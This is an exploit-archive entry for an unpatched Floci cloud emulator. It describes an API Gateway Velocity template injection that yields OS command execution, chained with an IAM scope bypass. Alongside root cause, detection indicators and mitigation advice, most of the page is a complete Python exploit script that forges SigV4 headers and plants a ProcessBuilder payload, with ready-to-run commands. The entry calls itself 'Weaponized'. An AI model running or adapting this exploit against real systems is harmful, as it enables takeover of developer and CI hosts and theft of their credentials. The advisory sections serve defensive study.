PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

Floci API Gateway VTL RCE + IAM Scope Bypass

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
cloud
Affected product
Floci (AWS-compatible local cloud emulator)
Affected versions
1.5.27 (rechecked against upstream commit 7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorycloud
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusWeaponized
Tagsfloci, api-gateway, velocity-template-language, rce, iam-bypass, sigv4, java-reflection, localstack-alternative
RelatedN/A

Affected Target

FieldValue
Software / SystemFloci (AWS-compatible local cloud emulator)
Versions Affected1.5.27 (rechecked against upstream commit 7efb280dbcf6f5ea8faab28f1c7d5f8c3f59b4e0)
Language / PlatformJava/Quarkus backend, API Gateway REST API emulation with Apache Velocity templates
Authentication RequiredNo (IAM policy enforcement is disabled by default); bypassable even when enabled
Network Access RequiredYes

Summary

Floci evaluates user-controlled API Gateway integration response templates with an unrestricted Apache Velocity engine that exposes $util, allowing template code to reach java.lang.ProcessBuilder via reflection and execute arbitrary OS commands in the Floci JVM process. An attacker who can create/configure an API Gateway REST API, store a malicious MOCK integration response template, deploy a stage, and invoke the route achieves command execution. A companion finding weakens the precondition further: Floci derives the enforced IAM action from the service name embedded in the SigV4 credential scope, and if a request is sent with a non-apigateway scope (e.g., iam), action resolution returns null and the enforcement filter defaults to allow — letting a denied or low-privilege key still reach and trigger the same RCE path even with IAM enforcement enabled. The chain was verified end-to-end both via an in-process JUnit/Quarkus test and a live standalone run against a local Floci dev server. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

ApiGatewayService.putIntegrationResponse stores attacker-supplied responseTemplates without treating them as untrusted code, and VtlTemplateEngine evaluates them with a default VelocityEngine exposing Java helper objects ($util) that permit reflection into java.lang.ProcessBuilder. Separately, IAM enforcement extracts the target service from the caller-supplied Credential=.../<service>/aws4_request scope and treats an unmapped (null) action as implicitly allowed, so a wrong-service scope such as iam bypasses API Gateway authorization checks entirely.

Attack Vector

  1. POST /restapis to create a REST API (optionally with a wrong-scope Authorization header to bypass IAM).
  2. Walk resource creation/method/integration endpoints to build a GET method with a MOCK integration.
  3. PUT .../integration/responses/200 storing a malicious VTL template that calls $util.getClass().forName('java.lang.ProcessBuilder') to build and start a process.
  4. Deploy the API (POST /restapis/{apiId}/deployments) and create a stage.
  5. GET /execute-api/{apiId}/prod/rce triggers template evaluation and OS command execution inside the Floci JVM.

Impact

Full command execution in the Floci server process with the privileges of that process, including access to local credentials, mounted project files, Docker credentials, and adjacent emulator state — critical in shared developer/CI environments where Floci is exposed.


Environment / Lab Setup

Target:   Floci 1.5.27, API Gateway service enabled, default config (IAM enforcement disabled)
Attacker: Python 3 (stdlib only), network access to Floci's HTTP endpoint (default port 4566)

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce'
python3 poc.py --host 127.0.0.1 --port 4566 --bypass-iam --auth-access-key AKIAEXAMPLE --argv sh -c 'id > /tmp/floci_vtl_rce'

The script drives the full REST API creation → MOCK integration → malicious VTL response template → deploy → invoke sequence over HTTP, optionally forging a SigV4-shaped Authorization header with an iam credential-scope service to bypass enforcement, and confirms command execution via the trigger response.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected ProcessBuilder/shell invocations spawned from the Floci server process
  • API Gateway REST APIs/stages created by unfamiliar or low-privilege credentials
  • SigV4 Authorization headers where the credential-scope service does not match the invoked route

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationConfigure Velocity with a secure uberspector denying reflection/classloader/process access; resolve IAM service/action from the matched route rather than the caller-supplied credential scope; fail closed on unmapped actions and unknown access keys when enforcement is enabled

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: floci-apigateway-vtl-rce-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import argparse
import json
import sys
import time
import urllib.error
import urllib.request


def request_json(method, base_url, path, body=None, authorization=None):
    data = None
    headers = {"Accept": "application/json"}
    if body is not None:
        data = json.dumps(body).encode()
        headers["Content-Type"] = "application/json"
    if authorization is not None:
        headers["Authorization"] = authorization
    req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            raw = resp.read().decode("utf-8", errors="replace")
            status = resp.status
    except urllib.error.HTTPError as exc:
        raw = exc.read().decode("utf-8", errors="replace")
        status = exc.code
    try:
        parsed = json.loads(raw) if raw else None
    except json.JSONDecodeError:
        parsed = None
    return status, raw, parsed


def require(result, expected, action):
    status, raw, parsed = result
    if status != expected:
        raise RuntimeError(f"{action} failed: HTTP {status}: {raw[:500]}")
    if not isinstance(parsed, dict):
        raise RuntimeError(f"{action} returned non-object JSON: {raw[:500]}")
    return parsed


def vtl_string(value):
    return value.replace("\\", "\\\\").replace("'", "\\'")


def payload(argv):
    command_json = json.dumps(argv, separators=(",", ":"))
    return (
        "#set($pbClass=$util.getClass().forName('java.lang.ProcessBuilder'))\n"
        "#set($listClass=$util.getClass().forName('java.util.List'))\n"
        "#set($ctor=$pbClass.getConstructor($listClass))\n"
        f"#set($cmd=$util.parseJson('{vtl_string(command_json)}'))\n"
        "#set($pb=$ctor.newInstance($cmd))\n"
        "#set($p=$pb.start())\n"
        "#set($exit=$p.waitFor())\n"
        '{"ok":true,"exit":"$exit"}'
    )


def sigv4_authorization(access_key, date, region, scope, signature):
    return (
        f"AWS4-HMAC-SHA256 Credential={access_key}/{date}/{region}/{scope}/aws4_request, "
        f"SignedHeaders=host, Signature={signature}"
    )


def control_plane_authorization(args):
    if args.authorization:
        return args.authorization
    if args.bypass_iam and not args.auth_access_key:
        raise ValueError("--bypass-iam requires --auth-access-key or --authorization")
    if not args.auth_access_key:
        return None
    scope = "iam" if args.bypass_iam else args.auth_scope
    return sigv4_authorization(args.auth_access_key, args.auth_date, args.auth_region, scope, args.auth_signature)


def exploit(base_url, argv, cleanup, authorization):
    stamp = str(int(time.time()))
    template = payload(argv)
    api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}, authorization), 201, "create REST API")
    api_id = api["id"]
    print(f"[+] REST API id: {api_id}")
    resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources", authorization=authorization), 200, "list resources")
    root_id = resources["item"][0]["id"]
    resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}, authorization), 201, "create resource")
    resource_id = resource["id"]
    print(f"[+] Resource id: {resource_id}")
    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}, authorization), 201, "create method")
    require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}, authorization), 201, "create method response")
    require(
        request_json(
            "PUT",
            base_url,
            f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration",
            {"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}},
            authorization,
        ),
        201,
        "create integration",
    )
    require(
        request_json(
            "PUT",
            base_url,
            f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200",
            {"selectionPattern": "", "responseTemplates": {"application/json": template}},
            authorization,
        ),
        201,
        "create integration response",
    )
    deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}, authorization), 201, "create deployment")
    deployment_id = deployment["id"]
    require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}, authorization), 201, "create stage")
    status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce")
    if status != 200:
        raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}")
    print(f"[+] Trigger response: {raw.strip()}")
    if cleanup:
        deleted = request_json("DELETE", base_url, f"/restapis/{api_id}", authorization=authorization)
        print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}")
    return parsed


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True)
    parser.add_argument("--port", required=True, type=int)
    parser.add_argument("--scheme", default="http", choices=("http", "https"))
    parser.add_argument("--argv", nargs="+", required=True)
    parser.add_argument("--no-cleanup", action="store_true")
    parser.add_argument("--authorization")
    parser.add_argument("--auth-access-key")
    parser.add_argument("--auth-date", default="20260623")
    parser.add_argument("--auth-region", default="us-east-1")
    parser.add_argument("--auth-scope", default="apigateway")
    parser.add_argument("--auth-signature", default="test")
    parser.add_argument("--bypass-iam", action="store_true")
    args = parser.parse_args()
    try:
        authorization = control_plane_authorization(args)
        exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup, authorization)
        return 0
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        return 1


if __name__ == "__main__":
    raise SystemExit(main())